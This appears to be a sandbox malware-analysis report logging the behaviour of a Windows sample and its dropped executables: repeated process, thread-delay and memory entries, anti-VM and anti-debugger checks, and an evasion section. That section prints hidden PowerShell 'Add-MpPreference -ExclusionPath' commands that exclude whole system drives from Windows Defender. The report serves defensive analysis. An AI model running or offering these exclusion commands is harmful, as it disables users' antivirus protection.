Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking mutex)

Source: C:\Reka\rapnewsa.exe

Evasive API call chain: CreateMutex,DecisionNodes,ExitProcess

graph_23-2515

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Source: C:\Reka\rapnewsa.exe

Evasive API call chain: GetPEB, DecisionNodes, ExitProcess

graph_23-2603

Query firmware table information (likely to detect VMs)

Source: C:\Reka\rapnewsa.exe

System information queried: FirmwareTableInformation

Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Memory allocated: 5B40000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Memory allocated: 5D60000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Memory allocated: 5B70000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Memory allocated: B870000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Memory allocated: F870000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Memory allocated: FFB0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Memory allocated: 13FB0000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Window / User API: threadDelayed 7687	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Window / User API: threadDelayed 2233	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6091	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3698	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7884	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1695	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7284
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 988
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7716
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1978
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7096
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6770
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2828
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7453
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2099

Source: C:\Users\user\Desktop\UBONg7lmVR.exe TID: 7720	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe TID: 7852	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe TID: 7720	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe TID: 7852	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7412	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2536	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2088	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3704	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1836	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6672	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8164	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7344	Thread sleep count: 7453 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2588	Thread sleep count: 2099 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7284	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Reka\rapnewsa.exe

Code function: 23_2_002C8D40 FindFirstFileW,FindNextFileW,FindClose,

23_2_002C8D40

Source: C:\Reka\rapnewsa.exe

Code function: 23_2_002C8CA0 GetSystemInfo,

23_2_002C8CA0

Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Reka\rapnewsa.exe	File opened: C:\Users\user\AppData\Local\Adobe\Acrobat\
Source: C:\Reka\rapnewsa.exe	File opened: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\
Source: C:\Reka\rapnewsa.exe	File opened: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\
Source: C:\Reka\rapnewsa.exe	File opened: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\
Source: C:\Reka\rapnewsa.exe	File opened: C:\Users\user\AppData\Local\Adobe\
Source: C:\Reka\rapnewsa.exe	File opened: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\

Source: rapnewsa.exe, 00000017.00000002.2746189003.00000000013AE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWP
Source: rapnewsa.exe, 00000017.00000002.2746189003.00000000013F3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: UBONg7lmVR.exe, 00000000.00000002.3547008907.0000000003DA1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: y5cm2yzz.hwt.exe, 00000002.00000002.2761737638.0000016AC13FC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllss

Source: C:\Reka\rapnewsa.exe	API call chain: ExitProcess graph end node			graph_23-2531
Source: C:\Reka\rapnewsa.exe	API call chain: ExitProcess graph end node			graph_23-2525

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Reka\rapnewsa.exe	Process queried: DebugPort
Source: C:\Reka\rapnewsa.exe	Process queried: DebugPort

Source: C:\Reka\rapnewsa.exe

Code function: 23_2_002C17E0 GlobalHandle,LoadLibraryA,GetProcAddress,

23_2_002C17E0

Source: C:\Reka\rapnewsa.exe

Code function: 23_2_002C1A20 mov eax, dword ptr fs:[00000030h]

23_2_002C1A20

Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug

Source: C:\Users\user\Desktop\UBONg7lmVR.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Adds a directory exclusion to Windows Defender

Source: C:\Users\user\AppData\Local\Temp\y5cm2yzz.hwt.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users'"
Source: C:\Users\user\AppData\Local\Temp\y5cm2yzz.hwt.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Windows'"
Source: C:\Users\user\AppData\Local\Temp\y5cm2yzz.hwt.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Program Files'"
Source: C:\Users\user\AppData\Local\Temp\y5cm2yzz.hwt.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Program Files (x86)'"
Source: C:\Users\user\AppData\Local\Temp\y5cm2yzz.hwt.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Recovery'"
Source: C:\Users\user\AppData\Local\Temp\y5cm2yzz.hwt.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Reka'"
Source: C:\Users\user\AppData\Local\Temp\y5cm2yzz.hwt.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath '%USERPROFILE%\Desktop'"
Source: C:\Users\user\AppData\Local\Temp\y5cm2yzz.hwt.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users'"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\y5cm2yzz.hwt.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Windows'"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\y5cm2yzz.hwt.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Program Files'"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\y5cm2yzz.hwt.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Program Files (x86)'"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\y5cm2yzz.hwt.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Recovery'"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\y5cm2yzz.hwt.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Reka'"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\y5cm2yzz.hwt.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath '%USERPROFILE%\Desktop'"	Jump to behavior

Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Process created: C:\Users\user\AppData\Local\Temp\y5cm2yzz.hwt.exe "C:\Users\user\AppData\Local\Temp\y5cm2yzz.hwt.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\y5cm2yzz.hwt.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users'"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\y5cm2yzz.hwt.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Windows'"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\y5cm2yzz.hwt.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Program Files'"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\y5cm2yzz.hwt.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Program Files (x86)'"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\y5cm2yzz.hwt.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Recovery'"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\y5cm2yzz.hwt.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Reka'"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\y5cm2yzz.hwt.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath '%USERPROFILE%\Desktop'"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\y5cm2yzz.hwt.exe	Process created: C:\Reka\rapnewsa.exe C:\Reka\rapnewsa.exe	Jump to behavior

Source: C:\Reka\rapnewsa.exe

Code function: 23_2_002C8A80 cpuid

23_2_002C8A80

Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Users\user\Desktop\UBONg7lmVR.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Queries volume information: C:\Windows\Fonts\calibrii.ttf VolumeInformation	Jump to behavior
